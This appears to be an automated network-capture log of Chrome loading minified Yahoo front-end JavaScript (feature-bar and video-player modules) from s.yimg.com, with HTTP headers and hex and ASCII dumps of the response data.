2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 26 72 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 63 6f 6e 74 72 6f 6c 73 22 2c 6f 29 7d 7d 2c 7b 6b 65 79 3a 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 74 3d 65 2e 65 6c 65 6d 2c 72 3d 65 2e 65 76 65 6e 74 73 3b 69 66 28 30 21 3d 3d 72 2e 73 69 7a 65 29 7b 76 61 72 20 6e 3d 21 30 2c 6f 3d 21 31 2c 69 3d 76 6f 69 64 20 30 3b 74 72 79 7b 66 6f 72 28 76 61 72 20 61 2c 73 3d 72 2e 6b 65 79 73 28 29 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 28 29 3b 21 28 6e 3d 28 61 3d 73 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 3b 6e 3d 21 30 29 7b 76 61 72 20 75 3d 61 2e 76 61 6c 75 65 2c 6c 3d 74 68 69 73 2e 5f 73 74 61 74 65 2e Data Ascii: &r.setAttribute("aria-controls",o)}},{key:"addEventListeners",value:function(){var e=this._util,t=e.elem,r=e.events;if(0!==r.size){var n=!0,o=!1,i=void 0;try{for(var a,s=r.keys()[Symbol.iterator]();!(n=(a=s.next()).done);n=!0){var u=a.value,l=this._state.
2024-04-27 22:41:50 UTC	170	IN	Data Raw: 6e 4c 6f 61 64 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 70 72 6f 63 65 73 73 54 61 72 67 65 74 73 28 22 6f 6e 4c 6f 61 64 22 29 7d 7d 2c 7b 6b 65 79 3a 22 6d 6f 75 73 65 65 6e 74 65 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 70 72 6f 63 65 73 73 54 61 72 67 65 74 73 28 22 6d 6f 75 73 65 65 6e 74 65 72 22 29 7d 7d 2c 7b 6b 65 79 3a 22 6d 6f 75 73 65 45 6e 74 65 72 44 65 6c 61 79 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6c 65 Data Ascii: nLoad",value:function(){this.processTargets("onLoad")}},{key:"mouseenter",value:function(){this.processTargets("mouseenter")}},{key:"mouseEnterDelay",value:function(){cle
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 61 72 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 5f 73 74 61 74 65 2e 63 6c 69 63 6b 41 6e 64 4d 6f 75 73 65 45 78 69 74 54 69 6d 65 6f 75 74 29 7d 7d 2c 7b 6b 65 79 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 70 72 6f 63 65 73 73 54 61 72 67 65 74 73 28 22 6d 6f 75 73 65 6c 65 61 76 65 22 29 7d 7d 2c 7b 6b 65 79 3a 22 6d 6f 75 73 65 4c 65 61 76 65 44 65 6c 61 79 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 73 74 61 74 65 2e 63 6c 69 63 6b 41 6e 64 4d 6f 75 73 65 45 78 69 74 54 69 6d 65 6f 75 74 26 26 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 5f 73 74 61 74 65 2e 63 6c 69 63 6b 41 6e 64 4d 6f 75 73 65 45 78 69 74 54 69 6d Data Ascii: arTimeout(this._state.clickAndMouseExitTimeout)}},{key:"mouseleave",value:function(){this.processTargets("mouseleave")}},{key:"mouseLeaveDelay",value:function(){var e=this;this._state.clickAndMouseExitTimeout&&clearTimeout(this._state.clickAndMouseExitTim
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 72 44 72 61 67 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 75 74 69 6c 2e 64 72 61 67 3d 7b 65 6e 64 58 3a 30 2c 65 6e 64 59 3a 30 2c 6f 76 65 72 61 6c 6c 44 69 72 65 63 74 69 6f 6e 58 3a 30 2c 73 74 61 72 74 58 3a 30 2c 73 74 61 72 74 59 3a 30 7d 7d 7d 2c 7b 6b 65 79 3a 22 65 78 65 63 75 74 65 41 63 74 69 6f 6e 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 72 2c 6e 2c 6f 2c 69 2c 61 2c 73 29 7b 76 61 72 20 75 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 6c 3d 75 2e 61 72 69 61 45 78 70 61 6e 64 65 64 2c 63 3d 75 2e 61 72 69 61 45 78 70 61 6e 64 65 64 43 6c 61 73 73 2c 66 3d 75 2e 65 6c 65 6d 2c 64 3d 75 2e 66 6f 63 75 73 54 61 72 67 65 74 2c 76 3d 75 2e 70 72 65 76 65 6e 74 53 63 72 6f 6c 6c 2c 68 3d 75 2e 73 65 74 46 6f Data Ascii: rDrag",value:function(){this._util.drag={endX:0,endY:0,overallDirectionX:0,startX:0,startY:0}}},{key:"executeAction",value:function(e,r,n,o,i,a,s){var u=this._util,l=u.ariaExpanded,c=u.ariaExpandedClass,f=u.elem,d=u.focusTarget,v=u.preventScroll,h=u.setFo
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 76 61 72 20 6f 3d 6c 28 6e 2c 32 29 2c 69 3d 6f 5b 30 5d 2c 75 3d 6f 5b 31 5d 2c 63 3d 72 2e 63 6c 61 73 73 4c 69 73 74 2c 66 3d 69 2e 72 65 70 6c 61 63 65 28 22 57 69 74 68 53 79 6e 63 55 49 44 65 6c 61 79 22 2c 22 22 29 2e 72 65 70 6c 61 63 65 28 22 57 69 74 68 53 79 6e 63 44 65 6c 61 79 22 2c 22 22 29 2e 72 65 70 6c 61 63 65 28 22 57 69 74 68 53 79 6e 63 55 49 22 2c 22 22 29 2e 72 65 70 6c 61 63 65 28 22 57 69 74 68 53 79 6e 63 22 2c 22 22 29 2e 72 65 70 6c 61 63 65 28 22 57 69 74 68 44 65 6c 61 79 22 2c 22 22 29 2c 64 3d 2d 31 21 3d 3d 69 2e 69 6e 64 65 78 4f 66 28 22 57 69 74 68 53 79 6e 63 44 65 6c 61 79 22 29 2c 76 3d 64 7c 7c 2d 31 21 3d 3d 69 2e 69 6e 64 65 78 4f 66 28 22 57 69 74 68 53 79 6e 63 22 29 2c 68 3d 64 7c 7c 2d 31 21 3d 3d 69 2e 69 6e Data Ascii: var o=l(n,2),i=o[0],u=o[1],c=r.classList,f=i.replace("WithSyncUIDelay","").replace("WithSyncDelay","").replace("WithSyncUI","").replace("WithSync","").replace("WithDelay",""),d=-1!==i.indexOf("WithSyncDelay"),v=d\|\|-1!==i.indexOf("WithSync"),h=d\|\|-1!==i.in
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 2c 64 28 74 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2e 70 72 6f 74 6f 74 79 70 65 29 2c 22 64 65 73 74 72 6f 79 22 2c 74 68 69 73 29 2e 63 61 6c 6c 28 74 68 69 73 29 7d 7d 5d 29 2c 74 7d 28 70 29 3b 54 2e 65 76 65 6e 74 73 3d 7b 63 6c 69 63 6b 3a 5b 5b 22 68 61 73 2d 74 6f 67 67 6c 65 2d 63 6c 69 63 6b 22 2c 22 63 6c 69 63 6b 22 5d 5d 7d 3b 76 61 72 20 44 3d 54 2c 53 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 76 61 72 20 6e 3d 74 5b 72 Data Ascii: ction(){this.removeEventListeners(),d(t.prototype.__proto__\|\|Object.getPrototypeOf(t.prototype),"destroy",this).call(this)}}]),t}(p);T.events={click:[["has-toggle-click","click"]]};var D=T,S=function(){function e(e,t){for(var r=0;r<t.length;r++){var n=t[r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49821	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:50 UTC	589	OUT	GET /aaq/fp/js/react-wafer-featurebar.custom.modern.12732500bc8e47693f0d777bbe88001c.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:50 UTC	858	IN	HTTP/1.1 200 OK x-amz-id-2: PdMX4Uh4xIHj1BCeOLgtaZpLCrI0PbLZgpDHHJG9R65PyZIaj60PGZN6joYvINsr12nEvg0I4nWbSayssr+JyL94eqPLYy4jijulG1M0Emw= x-amz-request-id: 78Y738JCDXANCQGC Date: Sat, 27 Apr 2024 22:41:28 GMT Last-Modified: Thu, 04 Aug 2022 04:32:27 GMT ETag: "12732500bc8e47693f0d777bbe88001c" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: ktIqZY5t35wTM4d07XFqB.S0kDb7QpBg Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 1615 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 23 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:50 UTC	880	IN	Data Raw: 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 22 66 65 61 74 75 72 65 62 61 72 49 64 22 2c 65 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 72 65 61 63 74 2d 77 61 66 65 72 2d 46 65 61 74 75 72 65 62 61 72 22 29 5b 30 5d 3b 69 66 28 65 29 7b 69 66 28 65 2e 63 6c 61 73 73 4c 69 73 74 26 26 65 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 26 26 65 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 61 75 74 6f 2d 63 6c 6f 73 65 22 29 29 7b 76 61 72 20 61 3d 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 66 65 61 74 75 72 65 62 61 72 2d 63 6f 6e 74 65 Data Ascii: window.addEventListener("load",(function(){var t="featurebarId",e=document.getElementsByClassName("react-wafer-Featurebar")[0];if(e){if(e.classList&&e.classList.contains&&e.classList.contains("auto-close")){var a=e.getElementsByClassName("featurebar-conte
2024-04-27 22:41:50 UTC	735	IN	Data Raw: 74 22 29 29 2c 69 3d 30 2c 63 3d 28 69 2b 31 29 25 6c 2e 6c 65 6e 67 74 68 3b 66 75 6e 63 74 69 6f 6e 20 75 28 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 5b 69 5d 2e 73 74 79 6c 65 2e 74 72 61 6e 73 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 3d 22 2e 38 73 22 2c 6c 5b 69 5d 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 59 28 2d 22 2b 72 2b 22 29 22 2c 6c 5b 63 5d 2e 73 74 79 6c 65 2e 74 72 61 6e 73 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 3d 22 2e 38 73 22 2c 6c 5b 63 5d 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 59 28 30 29 22 2c 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 5b 69 5d 2e 73 74 79 6c 65 2e 74 72 61 6e 73 69 74 69 Data Ascii: t")),i=0,c=(i+1)%l.length;function u(){setTimeout((function(){l[i].style.transitionDuration=".8s",l[i].style.transform="translateY(-"+r+")",l[c].style.transitionDuration=".8s",l[c].style.transform="translateY(0)",setTimeout((function(){l[i].style.transiti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49822	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:50 UTC	538	OUT	GET /aaq/wf/wf-video-3.1.2-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:50 UTC	828	IN	HTTP/1.1 200 OK x-amz-id-2: 5+WyUUQrNqQjuT/Trnl3De4GkoaJMs8vZM+ynDredAvwnW0LJk3SAd+uwdKage6N75qHyaj4J9g= x-amz-request-id: 7P391WAZ21EB0181 Date: Sat, 27 Apr 2024 22:29:54 GMT Last-Modified: Fri, 09 Feb 2024 08:42:19 GMT ETag: "798299e9fbb5ccb39c74e2cb1b118f39" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: M63GV62aiVRXg270pL.Hqqb3qJzMf0Sc Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 29755 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 717 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 76 69 64 65 6f 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 76 69 64 65 6f 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-video",[],t):"object"==typeof exports?exports["wafer-video"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{}
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 76 61 72 20 69 3d 7b 7d 3b 66 6f 72 28 76 61 72 20 61 20 69 6e 20 65 29 74 2e 69 6e 64 65 78 4f 66 28 61 29 3e 3d 30 7c 7c 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 Data Ascii: totype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function o(e,t){var i={};for(var a in e)t.indexOf(a)>=0\|\|Object.prototype.hasOwnProp
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 69 2c 61 29 7b 72 65 74 75 72 6e 20 69 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 69 29 2c 61 26 26 65 28 74 2c 61 29 2c 74 7d 7d 28 29 2c 66 3d 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 69 2c 61 29 7b 6e 75 6c 6c 3d 3d 3d 74 26 26 28 74 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 29 3b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 74 2c 69 29 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 6e 29 7b 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 72 3f 76 6f 69 64 20 30 3a 65 28 72 2c 69 2c 61 29 7d 69 66 28 22 76 61 6c 75 65 22 69 6e 20 6e Data Ascii: }return function(t,i,a){return i&&e(t.prototype,i),a&&e(t,a),t}}(),f=function e(t,i,a){null===t&&(t=Function.prototype);var n=Object.getOwnPropertyDescriptor(t,i);if(void 0===n){var r=Object.getPrototypeOf(t);return null===r?void 0:e(r,i,a)}if("value"in n
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 6d 65 74 61 64 61 74 61 2c 69 3d 76 6f 69 64 20 30 3d 3d 3d 74 3f 7b 7d 3a 74 2c 61 3d 6f 28 65 2c 5b 22 6d 65 74 61 64 61 74 61 22 5d 29 3b 72 65 74 75 72 6e 20 76 28 7b 7d 2c 61 2c 69 29 7d 29 7c 7c 6e 75 6c 6c 2c 77 3d 76 6f 69 64 20 30 3b 69 66 28 6c 29 7b 76 61 72 20 43 3d 6c 5b 22 73 6f 75 72 63 65 2d 6d 65 74 61 64 61 74 61 2d 70 6c 75 67 69 6e 22 5d 7c 7c 7b 7d 2c 62 3d 43 5b 22 6d 65 64 69 61 2f 73 61 70 69 22 5d 3b 62 26 26 28 77 3d 7b 63 75 73 74 6f 6d 50 61 72 61 6d 73 3a 62 2e 71 73 7d 29 7d 76 61 72 20 45 3d 70 2e 64 6f 63 6b 69 6e 67 2c 50 3d 6f 28 70 2c 5b 22 64 6f 63 6b 69 6e 67 22 5d 29 2c 6b 3d 6e 75 6c 6c 3b 69 66 28 45 29 7b 76 61 72 20 4f 3d 45 2e 65 6e 61 62 6c 65 4f 6e 53 63 72 6f 6c 6c 44 Data Ascii: on(e){var t=e.metadata,i=void 0===t?{}:t,a=o(e,["metadata"]);return v({},a,i)})\|\|null,w=void 0;if(l){var C=l["source-metadata-plugin"]\|\|{},b=C["media/sapi"];b&&(w={customParams:b.qs})}var E=p.docking,P=o(p,["docking"]),k=null;if(E){var O=E.enableOnScrollD
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 41 74 74 72 69 62 75 74 65 28 5f 2b 22 70 61 75 73 65 2d 77 68 65 6e 2d 6f 75 74 2d 6f 66 2d 76 69 65 77 70 6f 72 74 22 29 2c 77 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5f 2b 22 6d 61 6e 61 67 65 2d 6f 6e 2d 69 6e 74 65 72 61 63 74 69 6f 6e 22 29 2c 43 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5f 2b 22 6c 6f 6f 70 2d 63 6f 75 6e 74 22 29 2c 45 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5f 2b 22 69 64 22 29 2c 50 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5f 2b 22 74 61 72 67 65 74 22 29 2c 6b 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5f 2b 22 76 69 65 77 61 62 69 6c 69 74 79 22 29 2c 4f 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5f 2b 22 70 61 75 73 65 2d 76 69 65 77 61 62 69 6c 69 74 79 22 29 2c 56 3d 65 2e 67 65 74 41 Data Ascii: Attribute(_+"pause-when-out-of-viewport"),w=e.getAttribute(_+"manage-on-interaction"),C=e.getAttribute(_+"loop-count"),E=e.getAttribute(_+"id"),P=e.getAttribute(_+"target"),k=e.getAttribute(_+"viewability"),O=e.getAttribute(_+"pause-viewability"),V=e.getA
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 28 29 2c 6c 2e 5f 73 74 61 74 65 2e 6d 6f 75 73 65 54 69 6d 65 6f 75 74 3d 6e 75 6c 6c 29 2c 22 79 76 69 64 65 6f 50 6c 61 79 6c 69 73 74 22 3d 3d 3d 63 26 26 6c 2e 70 6c 61 79 6c 69 73 74 44 69 64 4d 6f 75 6e 74 28 53 2c 45 29 2c 6c 7d 72 65 74 75 72 6e 20 72 28 74 2c 65 29 2c 63 28 74 2c 5b 7b 6b 65 79 3a 22 70 6c 61 79 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 70 6c 61 79 65 72 3b 65 26 26 28 65 2e 69 73 50 6c 61 79 69 6e 67 28 29 7c 7c 65 2e 70 6c 61 79 28 29 2c 74 68 69 73 2e 5f 73 74 61 74 65 2e 70 6c 61 79 69 6e 67 3d 21 30 29 7d 7d 2c 7b 6b 65 79 3a 22 70 61 75 73 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 70 6c 61 Data Ascii: (),l._state.mouseTimeout=null),"yvideoPlaylist"===c&&l.playlistDidMount(S,E),l}return r(t,e),c(t,[{key:"play",value:function(){var e=this._util.player;e&&(e.isPlaying()\|\|e.play(),this._state.playing=!0)}},{key:"pause",value:function(){var e=this._util.pla
2024-04-27 22:41:50 UTC	382	IN	Data Raw: 74 68 69 73 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 2c 22 79 76 69 64 65 6f 22 3d 3d 3d 6e 26 26 74 68 69 73 2e 72 65 6d 6f 76 65 49 6e 73 74 61 6e 63 65 46 72 6f 6d 55 75 69 64 43 6f 6c 6c 65 63 74 69 6f 6e 28 29 2c 66 28 74 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2e 70 72 6f 74 6f 74 79 70 65 29 2c 22 64 65 73 74 72 6f 79 22 2c 74 68 69 73 29 2e 63 61 6c 6c 28 74 68 69 73 29 7d 7d 2c 7b 6b 65 79 3a 22 5f 63 72 65 61 74 65 44 65 66 61 75 6c 74 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 69 66 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 Data Ascii: this.removeEventListeners(),"yvideo"===n&&this.removeInstanceFromUuidCollection(),f(t.prototype.__proto__\|\|Object.getPrototypeOf(t.prototype),"destroy",this).call(this)}},{key:"_createDefault",value:function(){var e=this;if(arguments.length>0&&void 0!==ar
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 72 63 3b 69 66 28 74 68 69 73 2e 5f 73 74 61 74 65 2e 63 72 65 61 74 65 64 3d 21 30 2c 72 29 7b 76 61 72 20 6f 3d 28 22 64 61 72 6b 22 3d 3d 3d 74 3f 6e 3a 72 29 7c 7c 72 3b 61 2e 73 72 63 3d 6f 2c 74 68 69 73 2e 5f 69 74 65 6d 4c 6f 61 64 65 64 28 29 7d 65 6c 73 65 7b 76 61 72 20 73 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 65 72 72 6f 72 43 6c 61 73 73 3b 45 28 61 2c 22 76 69 64 65 6f 22 29 3f 28 43 28 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 6f 75 72 63 65 22 29 2c 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 61 3d 69 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 77 66 2d 73 72 63 22 29 2c 6e 3d 69 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 77 66 2d 64 61 72 6b 6d 6f 64 65 2d 73 72 63 22 29 Data Ascii: rc;if(this._state.created=!0,r){var o=("dark"===t?n:r)\|\|r;a.src=o,this._itemLoaded()}else{var s=this._util.errorClass;E(a,"video")?(C(a.getElementsByTagName("source"),function(i){var a=i.getAttribute("data-wf-src"),n=i.getAttribute("data-wf-darkmode-src")
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 2c 73 65 74 74 69 6e 67 73 63 72 65 65 6e 3a 21 31 2c 65 6e 61 62 6c 65 46 6f 6c 6c 6f 77 42 75 74 74 6f 6e 73 3a 21 30 2c 65 6e 61 62 6c 65 53 68 61 72 65 64 4d 65 64 69 61 53 74 6f 72 65 3a 21 31 2c 65 6e 65 72 67 79 53 61 76 65 72 4d 6f 64 65 3a 21 31 2c 65 6e 61 62 6c 65 4c 61 7a 79 3a 21 31 2c 6d 61 69 6e 74 61 69 6e 31 36 78 39 72 61 74 69 6f 3a 21 30 2c 72 65 6e 64 65 72 4f 6e 53 65 72 76 65 72 3a 21 31 2c 76 69 64 65 6f 4f 6e 6c 79 3a 21 31 2c 75 73 65 41 70 70 44 6f 63 6b 69 6e 67 3a 21 31 2c 73 75 70 70 72 65 73 73 50 61 6e 65 6c 54 69 74 6c 65 3a 21 31 2c 6d 65 64 69 61 49 74 65 6d 3a 6e 75 6c 6c 2c 76 69 64 65 6f 4d 61 6e 61 67 65 72 4f 70 74 4f 75 74 3a 21 31 2c 68 69 64 65 50 6c 61 79 6c 69 73 74 3a 21 31 2c 68 69 64 65 50 6c 61 79 6c 69 73 Data Ascii: ,settingscreen:!1,enableFollowButtons:!0,enableSharedMediaStore:!1,energySaverMode:!1,enableLazy:!1,maintain16x9ratio:!0,renderOnServer:!1,videoOnly:!1,useAppDocking:!1,suppressPanelTitle:!1,mediaItem:null,videoManagerOptOut:!1,hidePlaylist:!1,hidePlaylis
